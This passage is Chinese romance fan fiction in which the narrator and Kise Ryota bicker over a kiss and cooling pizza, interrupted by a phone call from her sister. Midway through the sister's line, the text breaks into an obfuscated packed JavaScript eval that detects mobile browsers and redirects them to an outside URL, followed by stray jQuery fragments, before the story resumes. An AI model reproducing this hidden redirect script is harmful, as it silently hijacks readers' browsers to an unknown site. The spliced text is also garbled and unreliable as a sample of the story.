在预想的剧本里,使坏成功的我应该能抓住他害羞愣神的破绽,用这种狡猾的话语抵抗他拿手的撒娇攻势。
与光鲜靓丽的外貌、超然的洒脱性格所构筑出来的轻浮表象不同——虽然被人用“轻浮”评价时他总会不太高兴地反驳,我也不赞同以貌取人,但事实确实如此——黄濑凉太此人难以抵抗真诚的直球,也就是所谓的高攻低防。
所以只要话语足够真挚、表情足够诚恳的话,无论什么样的要求他都会答应。
这是我从他身上所学到的经验。
本来应该是这样的。
“哎?”
黄濑凉太微微倾身,撑在我身侧的手臂于沙发椅背和扶手间圈出一片狭小的空隙。
如果要用更简洁的语言描述,就是壁咚的衍生种:沙发咚。
我紧盯着他面无表情的脸,发出没有实际含义的语气词。惊慌、无措,某种后知后觉的悔意显然要比这些理所应当的情绪更加强烈。
……玩、玩脱了!
前一刻留存在他脸上的慌乱荡然无存,但取而代之的并不是一如既往的笑。
他坦然地回望过来,失去笑容的掩饰后,那副温暖阳光的脸庞呈现出一种带有攻击性的锐利。比起所谓的温顺家犬,更像是未经驯服的野兽。
阴影之中,唯有平静到近乎冷漠的眼中依然流淌着熟悉的金色亮光。
“那个,披萨再放就要凉了。”我冷静地说。
黄濑凉太没有说话,因为我的手还严严实实地捂在他的嘴上。
无声的僵持之中,他率先抬起右手,覆在我的手背上,却没有强硬地挪开,只是用极具反差的温柔力度带往旁边,最终停留在他的侧脸。
于是推拒的捂嘴动作变成了仿佛撩拨的抚摸脸颊。
此时此刻,掌握了主动权的人微微偏头蹭了蹭我的手心,做出仿佛示弱的举动。这个过程中,他的视线不偏不倚地落在我的脸上,仿佛要将所有的表情分毫不差地刻进视网膜之中。
他微微垂下眼睫,滚烫的吐息落入掌心,留下湿润的触感:“对不起,这次我也不想认输。”
居然是在这种时候出现了莫名其妙胜负欲吗!
我噎住,不自在地蜷缩了一下手指,成熟地选择退让一步:“好吧,那我允许你坐我旁边了,现在先——”
“不是在说这个问题。”他的声音埋在手掌间变得模糊不清,只剩下其中的嗔怪意味格外明显。
我沉默地看他。
安静的室内,唯有沉重的呼吸声清晰可闻。短暂的沉默后,我听见他说:“想要接吻。”
手心中的热度来源除了呼吸,还有他发烫的脸颊。
我呆了一下,将视线从贴合的两只手掌移到他的眼睛,说:“哦,我知道的。”
这个场合一看就明白了啊!没有特意解释的必要!
“其实之前就想了,但是看到你紧张的表情又没忍心那样做。”黄濑凉太仰起头,启唇在我的尾指处轻轻留下一道稍纵即逝的浅淡齿印,湿漉漉的眼中带上了蛊惑的意味。
“我对自己的脸和身材姑且还是有点自信的,真的没有哪怕一点点的动摇吗?”
怎么回事,这种仿佛丈夫在指控冷淡的妻子的画面感。
我说:“我知道了,但是——”
“但还是要拒绝?”熟悉的轻快感又回到了他身上。比起询问,这句黏黏糊糊的话语更像是略带苦恼的恳求。
“我刚刚刷过牙。”他面对无动于衷的我补充道。
啊?重点是这个吗!
不对,这个确实也很重要,但现在的问题是——
我深吸一口气,在急促的心跳声中勉强睁开眼,声音因为前所未有的窘迫微微发颤:“我也没有说不可以,只是还没有做好心理准备。”
其实没有什么好害羞的!都是情侣了,做点亲亲抱抱的事情也很正常!
但他这么郑重其事地做这些多余的举动、还说些莫名其妙的话,反而让人羞耻起来了。
“……真的?”
他的声音没有任何间隔地紧接着我刚落下的话语响起,那双亮晶晶的眼眸中涌现出喜悦的光彩。
像是获得了许可的小狗那样欢快地摇起尾巴——擅自用动物来形容人是很失礼的行为,可明知这点的我,脑海中率先浮现的依旧是这样的画面。
我点头:“嗯,不过不要太久,披萨凉了的话就不好吃了。”
“结果披萨比我更重要吗?!”
“不是这样比较的。接吻什么时候都可以做,但披萨凉了就是真的凉了,就算再加热口感也会变差。”
“为什么要在这种场合下一本正经地讨论披萨的事情!刚才完美的气氛都不见了!”
“对不起。那事已至此,我们还是先吃披萨吧。”
“不行。”黄濑凉太按住我正打算伸向桌上的手臂,压在了柔软的沙发椅背上。
避无可避的距离里,他柔软的金发垂落在脸颊边。这个短暂的瞬间,留存在他脸上的是有些陌生的、温柔而克制的微笑。
不是那种令人难以招架的过度热情,也不是表里不一的伪装。
——是什么呢?
我望向他,眨了一下眼睛。
他没有说话,可按在肩上的那只手似乎在微微发抖。
脑海中退缩和犹豫的念头在他没能妥善隐藏好的紧张和羞怯之中先一步消散。
我松开攥住他领口的手指,伸手去触碰他随着呼吸起伏的颈部皮肤,在他杂乱无序的混乱气息中缓慢闭上眼睛。
陷入黑暗前,那道朦胧的琥珀色亮光仿佛澄澈的酒液,从倾斜的酒杯中流淌而下,将思绪彻底淹没。
我放弃抵抗,无可奈何地想,这次好像又是他的胜利。这样下去的话,他只会得寸进尺越来越过分。
然而下一刻,刺耳的来电提示音唐突响起。
“啊,电话。”骤回神的我伸手推开他,起身想要去拿手机。
“那种事情不重要吧,让对方等一下也没关系。”
他不满地制止我的动作,俯身靠近。无辜的手机擦着指尖滑落,掉入柔软的地毯中。
我没能来得及心疼无辜的手机。
紧贴在唇边的呼吸夺走了全部的注意力,其中夹杂着无比熟悉的牙膏味道,是清新酸涩的柚子薄荷。
额发相抵,他稍稍偏头,睫毛从我的脸颊边轻轻拂过。在嘈杂高昂的铃声中,那道湿润的气息随着微凉的空气从缝隙间涌入,令人头皮发麻的陌生感触像气泡一样在神经中炸开。
心中警铃大作。
“那是家人打过来的电话,不接的话会担心的!”
我终于忍无可忍地曲起右腿,对着他来了一发利落的顶膝攻击。
“呜哇?!”
黄濑凉太毫无防备地被我踹倒在沙发上,狼狈地捂住腹部,声音虚弱:“啊……这个熟悉的触感,刚才一瞬间好像看到了笠松前辈的脸……”
“对不起,没收住力。”我毫无歉疚地捡起手机,又回头严肃地嘱咐他,“我要接电话了,从现在开始不许出声。”
“是……宫城大人。”他老实地低头应答。
这通电话来自于我亲爱的姐姐。在黄濑凉太可怜兮兮的注视中,我不为所动地按下接听。
“伊织,上午还有件事忘记和你说了。”
“是什么?”
“嗯?怎么感觉声音有点抖,生病了?”
“没有!只是刚才在厨房听到铃声有些着急,所以是跑到客厅的!”
“这样,难怪这么晚才接电话。我是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15271855|165032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想说后天可能需要你注意一下派送电话,我给你买了北海道产的蜜瓜哦。”
我从沙发上起身,在茶几前正襟危坐。一边整理被弄乱的头发和裙摆,一边困惑地问:“诶?怎么突然买了这个?”
“前几天和室友去了富良也旅游,那边的蜜瓜超好吃的。当时我就在想,之后要带你也一起来。但是你不喜欢出门吧?所以就干脆寄回家里了。”
“我知道了,谢谢姐姐。”
“说谢谢也太客气了!应该说‘我最喜欢姐姐了’才对吧?”
“感觉太肉麻了所以不要。”我隔着手机面无表情地拒绝。
“切,一点都不可爱。”
背后突然多出了体温和重量。
我转头,和凑过来的黄濑凉太对上视线。在他有所反应前,立刻伸出手指比了个噤声的动作。
虽然听话地没有出声,但这个人用其他行为表达了不满——他坐在沙发上,倾身靠近我,嘴唇贴近我竖起的食指。
“???”
我下意识想抽回手,却被强硬地扣住了手腕。唇齿开阖,他张开嘴,轻轻含住我的指尖。
指腹接触到口腔中整齐坚硬的牙齿,随后是柔软温热的触感。
手机中,由香里的声音仿佛瞬间远去变得模糊不清:“那我就先挂了,拜拜!”
我的声音在惊慌失措中有些微妙的颤抖:“好的!拜拜!嘶——”
“嗯?”
“啊啊、那个,小拇指不小心踢到桌脚了!没事的!”
“那岂不是超级痛吗?不要紧吧?”
“真的没事!再见!”
我慌忙挂断了电话,伸手去推他的脸:“为什么突然咬我啊!”
黄濑凉太一脸无辜地后仰避开我的攻击,手掌微微收紧,裹住我的手腕。在我埋怨的瞪视中,他眉眼弯弯,声音得意地上扬:“因为感觉被冷落了嘛——”
“明明只是接了电话而已!”
“那现在接完电话了,可以继续了吗?”
“还要继续吗?!”
“当然啊!刚才都还没碰到吧!”
但现在已经没有那个氛围了。
我扭头无声表达出拒绝,去拆桌上的披萨盒。食物的热度透过纸盒传递至手指上,我顿住,无端想起刚才的画面。
那种奇怪的触感仿佛还停留在指尖。
我蜷起食指,不自在地放下外卖盒,选择去拿旁边的冰可乐。
这时,不甘寂寞的大金毛又凑了过来。他无比碍事地挤进我和沙发的空隙间,伸手从背后环抱住我,下巴抵在肩上。
我伸手推了一把,但没能推开。
“……我要吃午饭了。”我戴上手套,拿起一块披萨,委婉地提醒他。
“我也要吃。”他装作读不懂我话语里的另一层含义。
“可是你这样没办法吃吧。”
“明明可以啊。”
他保持着这个麻烦的动作,直接拉近我的手腕,毫不客气地在那块披萨上咬了一大口。
“……黄濑同学。”
“嗯?”
我突然仰头,撞上他的下巴,然后在他的痛呼声中成功脱离桎梏,神态自若在茶几的另一边坐下。
黄濑凉太倒在沙发旁,没有说话。
啊,会不会有点太用力了。
“没事吧?很痛吗?”我纠结了几秒,最终有些担忧地探身去看他。
“有破绽!”
声音响起的同时,一只手臂落在后颈,将我拉往他的方向。在愣神的片刻,唇边落下了稍纵即逝的吻。
表情空白的我原地愣了长达六秒,毫不留情地用沙发上的抱枕砸向笑得正开心的他。
“啊痛痛痛!暴力反对!”
“反对无效。”